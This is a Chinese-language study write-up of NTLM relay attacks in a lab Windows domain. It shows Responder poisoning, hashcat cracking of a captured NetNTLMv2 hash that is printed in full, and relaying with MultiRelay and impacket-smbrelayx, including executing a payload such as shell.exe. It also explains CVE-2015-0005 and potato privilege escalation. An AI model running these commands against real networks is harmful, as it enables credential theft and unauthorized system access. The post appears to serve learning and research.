NTLM 中继攻击学习记录

前面的 NTLM 协议学习记录中提到过几种攻击方式，但毕竟是偏向笔记的水文，这里重新实验并思考。

利用前提

发送 NTLM 请求的情景：NTLM 是一种嵌套协议，SMB，HTTP，LDAP，MSSQL 等协议都可以携带 NTLM 认证的三类消息，也就说通过以上协议进行 NTLM 认证的程序都会发送 Net-NTLMhash，而这个 Net-NTLMhash 也可以被攻击者截取。

目标机器的 SMB 签名关闭

在 SMB 连接中，需要通过 SMB 签名和加密来保护服务器和客户端之间传输数据的完整性，如果关闭 SMB 签名，攻击者就可以拦截认证过程，并将获得的 hash 在其它机器上重放，从而获得权限。
一般情况下，域内默认仅在域控制器上启用，域成员机器没有启用。
攻击之前先做一下信息收集，工具地址：https://github.com/lgandx/Responder

其中 10.0.10.1 是主机，10.0.10.110 是域控，只有域控开启了签名

截取到的用户 RID 为 500

与补丁 kb2871997（哈希传递）有关，RID 500 的账户和本地管理员成员的域账户是过了 UAC 的，不满足这个条件即使拿到了高权限也没法过 UAC。
关于签名

当认证完毕后，客户端和服务端都知道一个 key 用于对后续的操作进行解密，这里获取这个 key 存在一个密钥协商的过程。
exported_session_key 是客户端生成的 16 位随机数，客户端用这个 key 进行加密和解密。key_exchange_key 是使用用户密码，经过一定运算后得到的。密钥协商过程如下。最后加密使用的是 encrypted_random_session_key：

SMB 欺骗

远程链接计算机访问共享资源的方式：

共享计算机地址\共IP享资源路径
共享计算机名\共享资源路径

首先要发起一个 NTLM 请求， net use 一个不存在的路径，然后进行 windows 系统名称解析，顺序为：

本地hosts文件（%windir%\System32\drivers\etc\hosts）
DNS缓存/DNS服务器
链路本地多播名称解析（LLMNR）和NetBIOS名称服务（NBT-NS）

路径不存在，会通过 LLMNR 和 NBT-NS 进行名称解析，加ing未经认证的 UDP 广播到网络中，询问这个名称

此时攻击机开启 responder 的监听，就可以截取这个 hash，使用的协议是 NTLMV2，可以尝试暴力破解。(对于 V1 的破解可参考：https://www.anquanke.com/post/id/194069)

 sudo responder -I eth0

hashcat -m 5600 Administrator::VULNTARGET:1122334455667788:8E40968E9E1648DF620E9D67067B36AD:010100000000000080D6BD2B205CD8019C850A7FD433C1710000000002000800380043005100320001001E00570049004E002D004200460048004300490038004500360049004F00330004003400570049004E002D004200460048004300490038004500360049004F0033002E0038004300510032002E004C004F00430041004C000300140038004300510032002E004C004F00430041004C000500140038004300510032002E004C004F00430041004C000700080080D6BD2B205CD801060004000200000008003000300000000000000000000000003000006525BD0F48330D5D08F941E7A1CF0353F6813FD55C9026B9610D45D540489F9B0A001000000000000000000000000000000000000900120063006900660073002F006100610061006100000000000000000000000000 old-passwords.txt -o found.txt --force

域中的中继

工作组中只能中继 rid 500 的 administrator 账户，成功的条件是被欺骗机器的 administrator 密码和被攻击主机的 administrator 密码相同。
在域中因为存在域用户，限制就小了很多。这里在 win7（10.0.10.10）中登录了域管账号，尝试用 MultiRelay 进行中继攻击。
一个终端使用 Responder 监听，另一个终端运行 MultiRelay
```
sudo python3 MultiRelay.py -t <被攻击ip> -u ALL
```
在 win7 上用域管账号触发 ntlm 请求后，直接转发到 10.0.10.111 上登录，拿到 system 权限。
现在要确定的是不同权限用户是否可以实现中继攻击，首先添加两个普通的域用户 testa 和 testb，在 testa 登录的主机上创建一个共享文件夹。此时 testb 可以直接访问到这个文件夹。

在域中的 NTLM 认证数据会从域控那里获取，且这里访问共享也是从域数据库中查找，也就是说域内普通用户相互访问不需要密码认证。
但此时在用 testb 中继攻击 testa 还是失败，就是前面提到的权限问题。

如果将 testb 加入到本地管理员组中，再进行测试（xs，本地管理员组怎么可能登上别的机器，除非密码一样）
```
net localgroup Administrators testb /add
```
伪造 SMB 服务器

让 10.0.10.10（登录域管账户）取访问攻击机，攻击机将流量转发到受害机（10.0.10.111）
```
impacket-smbrelayx -h 10.0.10.111 -c whoami
```
还可以直接上线?
```
impacket-smbrelayx -h <被攻击ip> -e shell.exe
```
CVE-2015-0005

结合前面提到的签名过程中，由于攻击者没有用户的 hash（也就是没有 key_exchange_key)，虽然能在流量中获取 encrypted_random_session_key，但也没法算出 exported_session_key，没法对流量进行签名。
而这个 CVE 就是泄露了 key_exchange_key。
在域内进行 ntlm relay 时候，如果登录的用户是域用户，这个时候认证服务器本地没有这个 hash，就会通过 NETLOGON 把 type1, type2, type3 都发给域控，在域控中进行认证（注意这时没有要 hash）。但在认证之后，被请求机器还是没有请求用户的 hash，所以这时要向域控索要 key_exchange_key，而域控那边的处理逻辑中，没有对索要 key_exchange_key 进行鉴权，只要是机器用户都会给！（图来自：https://www.anquanke.com/post/id/194514）
NTLM 反射（土豆提权）

如果攻击者并没有获得目标机器的权限，而是能使其发送特定的 ntlm 请求，那么攻击者再收到这个 ntlm 后接着发送给目标机器，从而实现攻击效果。
各种的土豆提权就是基于这种原理，该提权手法的前提是拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege（system才有）权限，其中有 SeImpersonatePrivilege 权限的有：
```
本地管理员账户（不包括管理员组普通账户）和本地服务帐户
由SCM启动的服务
```
其中 windows 服务的登录账户有：
```
NT AUTHORITY\System
NT AUTHORITY\Network Service
NT AUTHORITY\Local Service
```
通常在通过攻击 windows 的一些服务会拿到相应服务的权限（如 mssql 的 xp_cmdshell）
此类提权的利用范围就是：
```
Administrator——>SYSTEM
Service——>SYSTEM
```
至于为什么需要这两种权限，可以看之前写的关于 windows 命名管道的这篇文章：http://moonflower.fun/index.php/2022/03/18/301/，其中的思路于 msf 的 getsystem 相似，其中 SeImpersonatePrivilege 权限可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程，而 SeAssignPrimaryTokenPrivilege 可以调用 CreateProcessAsUserW 以 hToken 权限启动新进程。
剩下的太多了放下一篇了。。。
参考文献